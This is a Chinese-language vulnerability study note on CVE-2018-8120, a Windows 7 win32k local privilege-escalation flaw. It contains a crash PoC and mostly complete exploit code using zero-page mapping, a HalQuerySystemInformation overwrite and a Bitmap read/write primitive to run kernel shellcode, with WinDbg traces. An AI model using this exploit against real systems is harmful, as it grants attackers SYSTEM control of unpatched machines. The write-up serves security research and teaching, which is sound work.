一
简介
1、漏洞描述
2、实验环境
-
操作系统:Win7 x86 sp1 专业版
-
编译器:Visual Studio 2017
-
调试器:IDA Pro,WinDbg
二
漏洞分析
1、漏洞成因

2: kd> dt win32k!tagWINDOWSTATION+0x000 dwSessionId : Uint4B+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION+0x008 rpdeskList : Ptr32 tagDESKTOP+0x00c pTerm : Ptr32 tagTERMINAL+0x010 dwWSF_Flags : Uint4B+0x014 spklList : Ptr32 tagKL+0x018 ptiClipLock : Ptr32 tagTHREADINFO+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO+0x020 spwndClipOpen : Ptr32 tagWND+0x024 spwndClipViewer : Ptr32 tagWND+0x028 spwndClipOwner : Ptr32 tagWND+0x02c pClipBase : Ptr32 tagCLIP+0x030 cNumClipFormats : Uint4B+0x034 iClipSerialNumber : Uint4B+0x038 iClipSequenceNumber : Uint4B+0x03c spwndClipboardListener : Ptr32 tagWND+0x040 pGlobalAtomTable : Ptr32 Void+0x044 luidEndSession : _LUID+0x04c luidUser : _LUID+0x054 psidUser : Ptr32 Void
2: kd> dt win32k!tagKL+0x000 head : _HEAD+0x008 pklNext : Ptr32 tagKL+0x00c pklPrev : Ptr32 tagKL+0x010 dwKL_Flags : Uint4B+0x014 hkl : Ptr32 HKL__+0x018 spkf : Ptr32 tagKBDFILE+0x01c spkfPrimary : Ptr32 tagKBDFILE+0x020 dwFontSigs : Uint4B+0x024 iBaseCharset : Uint4B+0x028 CodePage : Uint2B+0x02a wchDiacritic : Wchar+0x02c piiex : Ptr32 tagIMEINFOEX+0x030 uNumTbl : Uint4B+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE+0x038 dwLastKbdType : Uint4B+0x03c dwLastKbdSubType : Uint4B+0x040 dwKLID : Uint4B
2、漏洞验证
HWINSTA WINAPI CreateWindowStation(__in_opt LPCTSTR lpwinsta,DWORD dwFlags,__in ACCESS_MASK dwDesiredAccess,__in_opt LPSECURITY_ATTRIBUTES lpsa);
BOOL WINAPI SetProcessWindowStation(__in HWINSTA hWinSta);
BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0){__asm{mov esi, arg0mov eax, 0x1226 // NtUserSetImeInfoEx的调用号mov edx, 0x7FFE0300call dword ptr[edx]ret 4}}
BOOL POC_CVE_2018_8120(){BOOL bRet = TRUE;HWINSTA hSta = NULL;// 创建tagWINDOWSTATION结构体hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL);if (hSta == NULL){ShowError("CreateWindowStation", GetLastError());bRet = FALSE;goto exit;}// 将创建的结构体设置到本进程中if (!SetProcessWindowStation(hSta)){ShowError("SetProcessWindowStation", GetLastError());bRet = FALSE;goto exit;}char szBuf[0x15C] = { 0 };CallNtUserSetImeInfoEx((PVOID)szBuf);exit:return bRet;}
:83e95110 cc int 3gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!):969a007c 395014 cmp dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> kChildEBP RetAddr92085a90 969a003d win32k!SetImeInfoEx+0x1792085c28 83e581ea win32k!NtUserSetImeInfoEx+0x6592085c28 772870b4 nt!KiFastCallEntry+0x12a0012fd98 0040105f ntdll!KiFastSystemCallRet
三
漏洞利用
1、利用原理
BOOL Trigger_CVE_2018_8120(){BOOL bRet = TRUE;// 0地址分配内存if (!AllocateZeroMemory()){bRet = FALSE;goto exit;}// 获取保存HalQuerySystemInformation函数地址的地址PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();if (!pHalQuerySystemInformation){bRet = FALSE;goto exit;}// 指定被写入的地址*(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation;// 绕过while循环的验证*(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120;char szBuf[0x15C] = { 0 };// 指定要写入的内容是ShellCode的地址*(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120;// 触发漏洞if (!CallNtUserSetImeInfoEx(szBuf)){ShowError("CallNtUserSetImeInfoEx", GetLastError());bRet = FALSE;goto exit;}// 调用NtQueryIntervalProfileif (!CallNtQueryIntervalProfile()){bRet = FALSE;goto exit;}exit:return bRet;}
3: kd> pwin32k!SetImeInfoEx+0x17:96ac007c 395014 cmp dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> pwin32k!SetImeInfoEx+0x1a:96ac007f 740e je win32k!SetImeInfoEx+0x2a (96ac008f)
3: kd> pwin32k!SetImeInfoEx+0x2a:96ac008f 8b402c mov eax,dword ptr [eax+2Ch]3: kd> pwin32k!SetImeInfoEx+0x2d:96ac0092 85c0 test eax,eax3: kd> r eaxeax=83f6f3fc3: kd> pwin32k!SetImeInfoEx+0x2f:96ac0094 74f2 je win32k!SetImeInfoEx+0x23 (96ac0088)
2、Bitmap
HRESULT CreateBitmap(UINT uiWidth,UINT uiHeight,REFWICPixelFormatGUID pixelFormat,WICBitmapCreateCacheOption option,IWICBitmap **ppIBitmap);
3: kd> dt _PEBntdll!_PEB+0x000 InheritedAddressSpace : UChar...+0x090 ProcessHeaps : Ptr32 Ptr32 Void+0x094 GdiSharedHandleTable : Ptr32 Void+0x098 ProcessStarterHelper : Ptr32 Void....
typedef struct _GDICELL{LPVOID pKernelAddress;USHORT wProcessId;USHORT wCount;USHORT wUpper;USHORT wType;LPVOID pUserAddress;GDICELL;
typedef struct _SURFACE{BASEOBJECT BaseObject;SURFOBJ SurfObj;//XDCOBJ * pdcoAA;FLONG flags;struct _PALETTE * const ppal; // Use SURFACE_vSetPalette to assign a palettestruct _EWNDOBJ *pWinObj;union{HANDLE hSecureUMPD; // if UMPD_SURFACE setHANDLE hMirrorParent;// if MIRROR_SURFACE setHANDLE hDDSurface; // if DIRECTDRAW_SURFACE set};SIZEL sizlDim; /* For SetBitmapDimension(), do NOT useto get width/height of bitmap, usebitmap.bmWidth/bitmap.bmHeight forthat */HDC hdc; // Doc in "Undocumented Windows", page 546, seems to be supported with XP.ULONG cRef;HPALETTE hpalHint;/* For device-independent bitmaps: */HANDLE hDIBSection;HANDLE hSecure;DWORD dwOffset;//UINT unk_078;/* reactos specific */DWORD biClrImportant;} SURFACE, *PSURFACE;
typedef struct _BASEOBJECT {HANDLE hHmgr; 0x04PVOID pEntry; 0x08LONG cExclusiveLock; 0x0dPW32THREAD Tid;0x10*POBJ;typedef struct _SURFOBJ {DHSURF dhsurf;HSURF hsurf;DHPDEV dhpdev;HDEV hdev;SIZEL sizlBitmap;ULONG cjBits;PVOID pvBits;PVOID pvScan0;LONG lDelta;ULONG iUniq;ULONG iBitmapFormat;USHORT iType;USHORT fjBitmap;SURFOBJ;
这种方式之所以能完成,也是因为此时mpv所指向的地址偏移0x48处的内容为0,另外,因此复制的时候会复制0x15C个字节,所以mpv后面的内容要保证不被修改,就需要在复制的源地址处进行正确的赋值。

BOOL Trigger_CVE_2018_8120(){BOOL bRet = TRUE;HBITMAP hManger = NULL, hWorker = NULL;DWORD dwBuf[0x60] = { 0x90 };PVOID mpv = NULL, wpv = NULL;PVOID pOrgAddr = NULL;PVOID pTargetAddr = (PVOID)ShellCode_CVE_2018_8120;// 0地址分配内存if (!AllocateZeroMemory()){bRet = FALSE;goto exit;}hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf);hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf);if (!hManger || !hWorker){ShowError("CreateBitmap", GetLastError());bRet = FALSE;goto exit;}mpv = GetPvScan(hManger);wpv = GetPvScan(hWorker);// 指定被写入的地址*(PDWORD)(0x2C) = (DWORD)mpv;// 绕过while循环的验证*(PDWORD)(0x14) = (DWORD)wpv;DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 };// 指定要写入的内容szBuf[0] = (DWORD)wpv;szBuf[1] = 0x180;szBuf[2] = 0x1D95;szBuf[3] = 6;szBuf[4] = 0x10000;szBuf[5] = 0x0;szBuf[6] = 0x4800200;// 触发漏洞if (!CallNtUserSetImeInfoEx(szBuf)){ShowError("CallNtUserSetImeInfoEx", GetLastError());bRet = FALSE;goto exit;}// 获取保存HalQuerySystemInformation函数地址的地址PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();if (!pHalQuerySystemInformation){bRet = FALSE;goto exit;}// 设置hManger的可修改地址为保存HalQuerySystemInformation函数地址的地址SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation);// 获取可修改的地址中的内容GetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);// 将可修改地址中的值修改为ShellCode地址SetBitmapBits(hWorker, sizeof(PVOID), &pTargetAddr);// 调用NtQueryIntervalProfile,执行ShellCodeif (!CallNtQueryIntervalProfile()){bRet = FALSE;goto exit;}// 将可修改地址中的内容恢复回去SetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);exit:return bRet;}PVOID GetPvScan(HBITMAP hBitHandle){DWORD dwGdiCellArray = GetGdiCellArray();PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);}DWORD GetGdiCellArray(){__asm{mov eax, fs:[0x30] // eax = PEBmov eax, [eax + 0x94] // eax = GDICELL数组首地址}}

四
运行结果
参考资料:
-
https://www.freebuf.com/vuls/174182.html
-
https://www.anquanke.com/post/id/241057
-
https://www.anquanke.com/post/id/247764
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
原文始发于微信公众号(汇编语言):CVE-2018-8120提权漏洞学习笔记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-






评论